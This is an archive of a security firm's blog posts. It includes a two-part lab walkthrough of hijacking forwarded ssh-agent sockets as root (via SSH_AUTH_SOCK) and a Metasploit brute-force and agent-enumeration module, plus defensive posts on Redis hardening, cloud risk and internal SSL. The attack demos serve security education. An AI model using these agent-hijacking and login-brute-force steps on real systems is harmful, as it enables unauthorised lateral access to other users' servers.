Thursday, 17 May 2012

ssh-agent: Abusing the trust - Part 2

In part 1 of this blog post I discussed common issues with using ssh-agent forwarding in an untrusted environment. Despite the risks it remains prevalent and ripe for some exploitation.

There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I've been working on integrating this attack into everyone's favourite framework for rapid exploit development, metasploit (MSF).

Right now, I've completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you've popped with metasploit. Later in this post I've outlined my roadmap for this tool, there's definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.

Here's how to use the post module.

enum_ssh_agents

I'll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you're following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH - Starting bruteforce
[*] 192.168.1.60:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.60:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.60:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.60:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.60:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.
msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

Great, we've found some and saved the details to loot.
msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

At the moment the module saves details of an agent as a colon delimited entry in a text file:
msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407



Roadmap

The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it's written in Ruby which isn't always installed.

I'm toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don't support agent based authentication so I've got that to work on too.

Code

If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from our Github page at https://github.com/7Elements/metasploit-framework. I've got some polish to add to this before the MSF guys will accept a pull request to the framework but that will be done soon.

Thursday, 19 April 2012

ssh-agent: Abusing the trust - Part 1

This post is about ssh-agent. For those who don't know, the following best describes it (from the man page):
ssh-agent is a program to hold private keys used for public key authentication
Many Unix/Linux/OSX dudes use it every day without even thinking too much about it. Even Windows dudes get a look in with Pageant.

However, when you use public key authentication to SSH to a server and choose (by default or otherwise) to forward your agent you are in fact opening yourself up to a trivial attack by any user with root privileges on that server.

This is not new news, even the Wikipedia article on ssh-agent lists this as a problem. What I want to do in this post is a quick demonstration of how it can be abused, for the uninitiated and discuss common scenarios I see and why you should be aware of this issue.

Setting up for the demonstration

I'll use three hosts to demonstrate this. The first is a BackTrack 5 box, the second and third are Debian 6 hosts. First I setup a "pwnme" user on all three boxes. On the BT5 box (7E-Marc) I create an SSH key-pair:
pwnme@7E-Marc:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pwnme/.ssh/id_rsa):
Created directory '/home/pwnme/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/pwnme/.ssh/id_rsa.
Your public key has been saved in /home/pwnme/.ssh/id_rsa.pub.
The key fingerprint is:
7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 pwnme@7E-Marc
The key's randomart image is:
+--[ RSA 2048]----+
| |
| |
| |
| . . |
| S o E |
| . . o + o |
| . o B . = .|
| . * *. +.|
| .o* .o=o.|
+-----------------+
Now we take the public key and add it to the authorized_keys file on debian1:
pwnme@7E-Marc:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc

pwnme@debian1:~$ mkdir -m 700 .ssh
pwnme@debian1:~$ cd .ssh/
pwnme@debian1:~/.ssh$ cat > authorized_keys <<EOF
> ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc
> EOF

pwnme@debian1:~/.ssh$ chmod 600 authorized_keys

Next perform the same step on debian2, so it is also set up for public key authentication with this key.

As I am performing this demo from a terminal I will need to start an ssh-agent manually.  If I were logged in from the GUI most OSes will pop up a window and offer to save your key in an agent for you automatically.

The following shows me starting the ssh-agent, adding my key (which we created above) and then listing out the keys currently in my agent:
pwnme@7E-Marc:~$ eval `ssh-agent`
Agent pid 17956
pwnme@7E-Marc:~$ ssh-add .ssh/id_rsa
Enter passphrase for .ssh/id_rsa:
Identity added: .ssh/id_rsa (.ssh/id_rsa)
pwnme@7E-Marc:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

Now we're all set to SSH to debian1 from 7E-Marc using key-based authentication, we will override the default by specifying -A to forward our agent:
pwnme@7E-Marc:~$ ssh -A debian1
Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 1 11:01:03 2012 from 192.168.1.250
pwnme@debian1:~$
Now we are on the debian1 host with our agent forwarded. We can check this with ssh-add -l again.
pwnme@debian1:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)
We should be able to SSH to debian2 which also has our public key in its authorized_keys file.
 pwnme@debian1:~$ ssh debian2
Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:04:47 2012 from 192.168.1.60
pwnme@debian2:~$
Great, we're all set. Let's pwn this.

Demonstration

Our goal is to abuse our root privilege on debian1 to access the debian2 server, on which we don't have an account, as the pwnme user.

Log on to debian1 and gain root privileges. Our pwnme user is still logged on:
root@debian1:~# who
root pts/0 2012-04-17 16:24 (192.168.1.250)
pwnme pts/1 2012-04-17 16:30 (192.168.1.250)

Let's have a look in /tmp and see what we find. 

ssh-agent creates UNIX socket files in /tmp. It does its best to protect them by creating a directory prefixed with ssh-, chmod'ed to 700 and owned by the user who logged in. The socket file is in this directory.

When the user logs in with agent forwarding the environment variable SSH_AUTH_SOCK is set to the location of this socket file. As we have root privileges we can access this socket file so all we need to do is set our SSH_AUTH_SOCK environment variable to this value and we are able to use the key data to authenticate, providing the user is still logged in with active forwarding.
root@debian1:~# ls -l /tmp/
total 13
drwx------ 2 root root 12288 Nov 9 22:36 lost+found
drwx------ 2 pwnme pwnme 1024 Apr 17 16:30 ssh-MTxBOW1298

root@debian1:~# ls -l /tmp/ssh-MTxBOW1298/
total 0
srwxr-xr-x 1 pwnme pwnme 0 Apr 17 16:30 agent.1298

root@debian1:~# export SSH_AUTH_SOCK=/tmp/ssh-MTxBOW1298/agent.1298
root@debian1:~# ssh pwnme@debian2
Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:22:57 2012 from 192.168.1.60
pwnme@debian2:~$
Oh dear, it worked. We are now authenticated to debian2 as the pwnme user. It's important to note that even though a passphrase was set on the pwnme user's private key, once the key is loaded into the ssh-agent it is decrypted and the passphrase provides no protection to this abuse.

Common scenarios

So, as I said at the start, nothing new. How is this scary though? A lot of people use agent forwarding but don't restrict it accordingly. Many people use the same SSH key for different hosts. For example, they create a key-pair at work for accessing work servers, then use the same public key on their home SSH server, or VPS in "The Cloud". An evil root user on one of those work servers (or a penetration tester) could use those agent sockets to access your home server, your VPS, or whatever else you can access with that. Some companies even allow direct root logins with SSH providing it's "without-password". Woot - Instant root access.

Another common scenario is the SSH golden host. A "hardened" box at the perimeter which is used to access a secure environment remotely. Many times this is the only public facing server and it is common for sysadmins or developers to forward their agent through this server. An attacker who can gain root access on this server will quickly be able to pivot through to the other servers in the environment. In the words of Haroon Meer are you "one 0-day from being owned"?

If you are sensible and use different key-pairs for different environments you are likely still at risk as ssh-agent will forward all identities, so what can you do?

How to protect yourself

Unfortunately there is no magic advice here. OpenSSH provide some configuration options such as IdentitiesOnly but this only controls which identities to forward to a server for authentication. If you successfully authenticate and forward your agent, all identities loaded will still be available on the remote host.

The best recommendation I can give is don't forward your agent to hosts which you cannot trust - like the documentation says!

Next steps

This post really paves the way for what I want to look at in part 2 which is automating the process of finding and exploiting this issue with our friend metasploit and some modules I've been working on. Look out for that post soon.

Wednesday, 28 March 2012

The 7 Elements

A question I am often asked is what is behind the name '7 Elements'. So for this blog post, I am going to explore this in more detail and go through each of the 7 Elements in turn.

The name 7 Elements reflects the belief that there are seven core activities required within an organisation's approach to information security. Only by embedding all seven can an organisation truly deliver a holistic and resilient approach to information security, and one that will enable them to meet their businesses objectives and in the end, to survive.

The Elements


Design | Build | Manage | Embed | Adapt | Sustain | Assure



Out of the seven, the following six elements provide the foundations required for a resilient approach to security:

Design:

Within this element an organisation needs to define architecture, policies and standards to deliver a resilient approach to information security.

Build:

Next we need to deploy systems and infrastructure that meet your design and protect your organisation's information.

Manage:

Ongoing management is then required to ensure that your systems are operated securely and new projects align with your security design. This element can also include the management of complex security testing engagements.

Embed:

Embedding security strategy, culture and awareness into your business processes is vital to the overall organisational approach to security.

Adapt:

We do not live in a static environment, thus it is vital that we can respond to changes within the threat landscape with regular reviews and updates that inform all of the elements.

Sustain:

Incidents will happen, both malicious and unintentional, so there is a need to deliver business resiliency through Incident Management and Resiliency testing.


This then brings me to what I feel is the most important and often neglected element required:

Assure:

The 7th Element is all about gaining assurance over any aspect of your approach to security, through practical and pragmatic security testing. Many organisations will focus on aspects of the other elements and fail to gain assurance that their approach actually provides the level of protection required and as such could expose the organisation to hidden risks.

Security testing allows you to test assumptions and controls that are designed to provide a level of security and to gain assurance that that assumption / control actually does what was expected or more importantly doesn't do something unexpected that results in a compromise of data.


This approach would then lead to the following model:




Wednesday, 21 March 2012

Careers at 7 Elements

7 Elements is always looking for talented professionals to join our growing company. If you have a strong technical background delivering innovative testing and have the ability to translate technical issues into clear business related impact then we want to hear from you.

For more information, visit our careers page.

7 Elements does not accept agency CVs and will not be held responsible for any fees related to unsolicited CVs.

Wednesday, 14 March 2012

Installing and Hardening Redis

For the recent Security BSides London challenge I wrote, I made use of a Redis database to store user email. I had two motivations for this, firstly I didn't want the mail in the main MySQL database as that was going to be dumpable through SQL Injection, secondly, I wanted to play with Redis. :-)

Redis doesn't have much in the way of security so I knew that anyone who managed to pop the box could theoretically connect to the local Redis instance and mess around. I'll take you through the steps I took to install and harden Redis, on a Debian Squeeze GNU/Linux box.

Installation
The first thing to do is get a copy of Redis. This is available as source tarball from their website. In this instance, the latest version is 2.4.8.
$ cd Downloads/
$ wget http://redis.googlecode.com/files/redis-2.4.8.tar.gz
--2012-03-13 10:21:06-- http://redis.googlecode.com/files/redis-2.4.8.tar.gz
Resolving redis.googlecode.com... 173.194.78.82
Connecting to redis.googlecode.com|173.194.78.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 618164 (604K) [application/x-gzip]
Saving to: `redis-2.4.8.tar.gz'

100%[======================================>] 618,164 549K/s in 1.1s

2012-03-13 10:21:07 (549 KB/s) - `redis-2.4.8.tar.gz' saved [618164/618164]

Now unpack it of course and run "make".
$ tar xzf redis-2.4.8.tar.gz
$ cd redis-2.4.8/
$ make
cd src && make all
make[1]: Entering directory `/home/marc/Downloads/redis-2.4.8/src'
MAKE hiredis
make[2]: Entering directory `/home/marc/Downloads/redis-2.4.8/deps/hiredis'
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb net.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb hiredis.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb sds.c
cc -std=c99 -pedantic -c -O3 -fPIC -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb async.c
ar rcs libhiredis.a net.o hiredis.o sds.o async.o
make[2]: Leaving directory `/home/marc/Downloads/redis-2.4.8/deps/hiredis'


... and so on....

CC sort.o
CC intset.o
CC syncio.o
CC slowlog.o
CC bio.o
LINK redis-server

Hint: To run 'make test' is a good idea ;)

If you want to run make test you can, must admit I don't normally worry. Now you can just run the server from here if you want to but that's not normally what you would do in production. Redis provide an install script which will put everything in /usr/local by default. This is fine by me but the whole thing will be owned by and run as root. This is completely unnecessary so we'll remedy that shortly. First though, install it with its default options.
$ cd utils
$ sudo ./install_server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server
Please select the redis port for this instance: [6379]
Selecting default: 6379
Please select the redis config file name [/etc/redis/6379.conf]
Selected default - /etc/redis/6379.conf
Please select the redis log file name [/var/log/redis_6379.log]
Selected default - /var/log/redis_6379.log
Please select the data directory for this instance [/var/lib/redis/6379]
Selected default - /var/lib/redis/6379
Please select the redis executable path [/usr/local/bin/redis-server]
Copied /tmp/6379.conf => /etc/init.d/redis_6379
Installing service...
update-rc.d: using dependency based boot sequencing
insserv: warning: script 'redis_6379' missing LSB tags and overrides
Success!
Starting Redis server...
Installation successful!


Hardening
Next we create a system account for Redis to run as. I use redis but you can substitute for whatever you like.
$ sudo useradd -r -s /bin/bash -d /var/lib/redis redis
Next we create a directory under /var/run which redis can write its pid file to and the same under /var/log for logging.
$ sudo mkdir /var/run/redis /var/log/redis
$ sudo chown redis:adm /var/run/redis /var/log/redis
$ sudo chmod 750 /var/log/redis
Then we update the Redis config file to use this.
$ sudo vi /etc/redis/6379.conf
find the line beginning pidfile and change the location to include the /var/run/redis directory like this.
pidfile /var/run/redis/redis_6379.pid
and repeat for the logfile line:
logfile /var/log/redis/redis_6379.log
The next thing is to sort the owner and permissions on the location where Redis periodically dumps its contents. No-one other than the redis user needs access to here so let's enforce that.
$ sudo chown -R redis:redis /var/lib/redis
$ sudo chmod 700 /var/lib/redis/
Now we turn our attention to the init script at /etc/init.d/redis_6379. We need to make a couple of amendments to specify the correct location of our pidfile and also to start the server as the redis user.
$ sudo vi /etc/init.d/redis_6379
Find the line near the top which defines the PIDFILE variable and change it to:
PIDFILE=/var/run/redis/redis_6379.pid
Now we need to add a new variable declaration. I put it just above REDISPORT but anywhere in the top of the file will technically work.
REDISUSER="redis"
Now head down the file and find the section which looks like:
echo "Starting Redis server..."
$EXEC $CONF
Change it to:
echo "Starting Redis server..."
/bin/su - $REDISUSER -c "$EXEC $CONF"
That's it, we're done getting it up and running. You can test the start up by issuing:
$ sudo /etc/init.d/redis_6379 start
Starting Redis server...
You can check it's running in the normal manner:
$ ps -ef | grep red
redis 4410 1 0 11:11 ? 00:00:00 /usr/local/bin/redis-server /etc/redis/6379.conf
Check that it's running as the redis user which you can see above, it is.

Restrictions

So that's great, but by connecting to the local redis server on port 6379 you'd be able to issue any command including SET and other write actions. I didn't want this obviously. Password authentication can be enabled on Redis but this is as much use as a chocolate teapot when the password is a config file everyone can read. I decided to restrict the command set to only read-only commands using the very helpful rename-command feature.

You can rename any Redis command to whatever you like but if you rename it to "", ie nothing, it disables the commands. Very handy.

There were only two commands I needed for my app, GET and LRANGE so I was free to disable everything else. Redis provide a list of commands on their website at http://redis.io/commands so with a frankly hideous curl | grep | sed | cut | awk | anything else you can think of command line I parsed out all the valid commands and generated the following output which I saved in a file /etc/redis/rename-commands.conf:
rename-command APPEND ""
rename-command AUTH ""
rename-command BGREWRITEAOF ""
rename-command BGSAVE ""
rename-command BLPOP ""
rename-command BRPOP ""
rename-command BRPOPLPUSH ""
rename-command CONFIG ""
rename-command DBSIZE ""
rename-command DEBUG ""
rename-command DECR ""
rename-command DECRBY ""
rename-command DEL ""
rename-command DISCARD ""
rename-command ECHO ""
rename-command EXEC ""
rename-command EXISTS ""
rename-command EXPIRE ""
rename-command EXPIREAT ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command GETBIT ""
rename-command GETRANGE ""
rename-command GETSET ""
rename-command HDEL ""
rename-command HEXISTS ""
rename-command HGET ""
rename-command HGETALL ""
rename-command HINCRBY ""
rename-command HKEYS ""
rename-command HLEN ""
rename-command HMGET ""
rename-command HMSET ""
rename-command HSET ""
rename-command HSETNX ""
rename-command HVALS ""
rename-command INCR ""
rename-command INCRBY ""
rename-command INFO ""
rename-command KEYS ""
rename-command LASTSAVE ""
rename-command LINDEX ""
rename-command LINSERT ""
rename-command LLEN ""
rename-command LPOP ""
rename-command LPUSH ""
rename-command LPUSHX ""
rename-command LREM ""
rename-command LSET ""
rename-command LTRIM ""
rename-command MGET ""
rename-command MONITOR ""
rename-command MOVE ""
rename-command MSET ""
rename-command MSETNX ""
rename-command MULTI ""
rename-command OBJECT ""
rename-command PERSIST ""
rename-command PING ""
rename-command PSUBSCRIBE ""
rename-command PUBLISH ""
rename-command PUNSUBSCRIBE ""
rename-command RANDOMKEY ""
rename-command RENAME ""
rename-command RENAMENX ""
rename-command RPOP ""
rename-command RPOPLPUSH ""
rename-command RPUSH ""
rename-command RPUSHX ""
rename-command SADD ""
rename-command SAVE ""
rename-command SCARD ""
rename-command SDIFF ""
rename-command SDIFFSTORE ""
rename-command SELECT ""
rename-command SET ""
rename-command SETBIT ""
rename-command SETEX ""
rename-command SETNX ""
rename-command SETRANGE ""
rename-command SHUTDOWN ""
rename-command SINTER ""
rename-command SINTERSTORE ""
rename-command SISMEMBER ""
rename-command SLAVEOF ""
rename-command SLOWLOG ""
rename-command SMEMBERS ""
rename-command SMOVE ""
rename-command SORT ""
rename-command SPOP ""
rename-command SRANDMEMBER ""
rename-command SREM ""
rename-command STRLEN ""
rename-command SUBSCRIBE ""
rename-command SUNION ""
rename-command SUNIONSTORE ""
rename-command SYNC ""
rename-command TTL ""
rename-command TYPE ""
rename-command UNSUBSCRIBE ""
rename-command UNWATCH ""
rename-command WATCH ""
rename-command ZADD ""
rename-command ZCARD ""
rename-command ZCOUNT ""
rename-command ZINCRBY ""
rename-command ZINTERSTORE ""
rename-command ZRANGE ""
rename-command ZRANGEBYSCORE ""
rename-command ZRANK ""
rename-command ZREM ""
rename-command ZREMRANGEBYRANK ""
rename-command ZREMRANGEBYSCORE ""
rename-command ZREVRANGE ""
rename-command ZREVRANGEBYSCORE ""
rename-command ZREVRANK ""
rename-command ZSCORE ""
rename-command ZUNIONSTORE ""

The eagle-eyed among you will notice that I've renamed the SHUTDOWN command. If you rename SHUTDOWN the init script doesn't like you much and it doesn't perform a save of the data before it exits. In my case that's actually not too much of an issue as no data is being written but it's something to bear in mind on your app. If you don't rename SHUTDOWN then obviously someone can connect and shutdown your Redis instance. In a deliberately vulnerable app you might expect this, in a normal production server, hopefully not!

Now I've got this file I need to protect it and use it. I decided the redis user should not be able to edit this file and no-one else should be able to read it:
$ sudo chown root:redis /etc/redis/rename-commands.conf
$ chmod 440 /etc/redis/rename-commands.conf

Now we can include it into the main Redis configuration by adding the following line to the bottom of /etc/redis/6379.conf:
include /etc/redis/rename-commands.conf
And that's it, restart your Redis instance and test it out.
$ redis-cli
redis 127.0.0.1:6379> ECHO foo
(error) ERR unknown command 'ECHO'
redis 127.0.0.1:6379>
There's probably a few more things that could be done to harden it further, I would suggest looking into the authentication too. While it does sit in the config file, the same is true of a traditional database. The difference is you have much more granular control over database objects typically. With redis it's all or nothing, like having your app log in as sa.

For my next trick, I'll be looking into No-SQL Injection.

Tuesday, 14 February 2012

Cloud Security


As an information security professional I am often asked about the Cloud, in particular “Is the Cloud safe?” and “Should I use the Cloud?” 

For me the starting point should be:

“What data do I want to put in to the Cloud and how important is that data to me in terms of confidentiality, availability and integrity?”

The answers to these questions, combined with an appreciation of the risks associated with using the Cloud will then enable you to decide if using the Cloud is for you. More importantly it will allow you to manage the risks involved. This approach will enable your business to meet its objectives whilst managing the risk to an acceptable level.


Cloud basics

What is the Cloud? Well in short it is a great marketing gimmick. There is no one individual such thing as the ‘Cloud’. The Cloud is a term used to describe multiple service offerings such as Software as a Service (SaaS), Platform as a Service (PaaS) as well as Infrastructure as a Service (IaaS). All these are characterised by the use of on-demand provision, rapid ability to scale and are based on payment solely for the amount of resource required at any given point. Cloud provision often makes use of shared virtual services for the storage and processing of data.

Organisations can implement their own ‘Cloud’ or can partner with an external supplier to use the external party’s infrastructure. The basic premise is that you only provision the services required to meet your needs and that you can then grow and shrink this as required, with the organisation only paying for the resource consumed.

Key Risks

What are the key risks presented by using the Cloud? For me the key risks and some of the issues that an organisation should explore when looking at the Cloud break down as follows:

What legal jurisdiction will my data be held within? 

As an organisation you should be aware of how legal requirements to disclose data may be affected by the geography of where the data is stored. If you are based in the UK and use a US based Cloud provider, consider the impact on your organisation if the US courts enforce disclosure of your sensitive data. Where the Cloud is used to store or process sensitive personal data, there may be an impact on your compliance with the required regulation (Data Protection Act,) which you will need to fully understand and mitigate.

Will your Cloud provider place your data in multiple geographies without your knowledge? 

Different geographical locations mean different legal jurisdictions, which will have an impact on your legal and regulatory requirements within each of those regions. This may restrict the type of data that can be stored or processed or limit how the data in question can be transferred between locations. The ability to encrypt data will also be impacted within certain locations due to export restrictions.

Who else may have access to my data? 

Many Cloud services are based on the use of shared services / Multi-Tenancy solutions. The benefit to the end user is reduced costs, but this can also lead to security concerns. The data may be at risk of attack from another user of the same Cloud service due to the architecture in use. Consideration should be given to how the Cloud provider has limited the possibility of data compromise.

Will my data be destroyed securely? 

As discussed earlier, the idea of the Cloud is that you can grow and shrink your resource requirement. When the data on disks is no longer needed then it will need to be destroyed. You will need to gain assurance that this has been destroyed in compliance with your organisation’s standards, that the next user of that environment will not accidentally gain access to your data and that you have met any regulatory requirements.


What level of availability do I require for my data? 

The Cloud sells itself as always being there. The data is ‘in the Cloud’, so you will always have access to it. However, the Cloud brings its own impact in relation to your organisational Business Continuity Plans and Disaster Recovery approach. Consideration should be given to scenarios where the Cloud provider fails or your ability to connect to the Internet fails. This may render the data unavailable.

What other unintended consequences need to be considered?

The list above is not exhaustive and there will be other issues specific to your organisation that will need to be explored to enable you to make an informed decision about using the Cloud. There will also be further unintended consequences that the Cloud will introduce and as many of these as possible should be identified to enable a robust risk managed approach to be undertaken.
An example of one unintended consequence is that Cloud services are based on the concept of paying for the service required and on the flexibility to grow and shrink the required resource on demand. 

Many providers have an automatic provisioning system that enables you to manage the demand and will bill your organisation automatically. Consideration should be given to the security of this approach, focused on who can authorise the provisioning, how costs can be limited to an acceptable level.

If there is a flaw within the provisioning system then there is a risk that this can be circumvented and result in malicious / fraudulent use. This could result in large unexpected financial bills or legal action being taken against your organisation for storing illegal data that was maliciously uploaded.

Bringing it all together

The Cloud offers a cost effective and flexible approach to manage your data storage and processing requirements. However, the Cloud is no different to the wider challenges of managing an organisation’s data securely. With these unique opportunities, unique risks will arise. A sound understanding of these risks will enable an organisation to assess if the Cloud is right for them and if it sits within the overall organisational risk appetite for data security. Risk areas identified can then be used to structure any assessment of potential providers to ensure that they can meet your requirements and that the contract will legally enforce this.

Wednesday, 1 February 2012

SSL for the #fail



Are we in danger of brainwashing employees to be susceptible to interacting with phishing sites or malicious sites by incorrectly using SSL internally?

IT departments and security teams spend many hours trying to educate internal users to try and ensure that they do not disclose sensitive information, such as passwords and account details or to visit phishing sites. But is this all undone by the poor use of SSL certificates? On the majority of infrastructure engagements undertaken over the last decade one issue always comes up – the use of SSL internally.

Many organisations will spend time and effort to implement a robust approach to the use of SSL for external (customer) facing web applications. They will deploy well configured certificates that hve not expired, signed with a strong hashing algorithm from a known certificate authority (ok, maybe we need to revisit that one!) and will have been configured to only support strong cipher suites and protocols.

However, move within the organisational boundary and all of these examples of good practice are forgotten and we will see the opposite state, where the norm is to find:
  •          SSL Anonymous Cipher Suites Supported
  •           SSL Certificate Expiry
  •           SSL Certificate Signed using Weak Hashing Algorithm
  •           SSL Certificate signed with an unknown Certificate Authority
  •           SSL Medium Strength Cipher Suites Supported
  •           SSL Version 2 (v2) Protocol Detection
  •           SSL Weak Cipher Suites Supported

Why do organisations implement such a flawed approach to internal use of SSL? Is it a lack of strategic direction, budget or maybe just a lack of thought?

Poor SSL certificate use can lead to compromise of sensitive data. The number of threat vectors that can be used against poorly implemented SSL increase when the attacker is on the same network as the service (man in the middle attacks etc.) It seems sensible that if SSL has been implemented to protect the confidentiality of the service then internally this would become as important if not more important than a service presented over the Internet?

What about the impact of a mixed message on the end user? Are we in danger of educating our employees that SSL warnings are ok to be ignored? If this is the message they come away with, whose responsibility will it be when this behaviour is then replicated at home and they click on the following?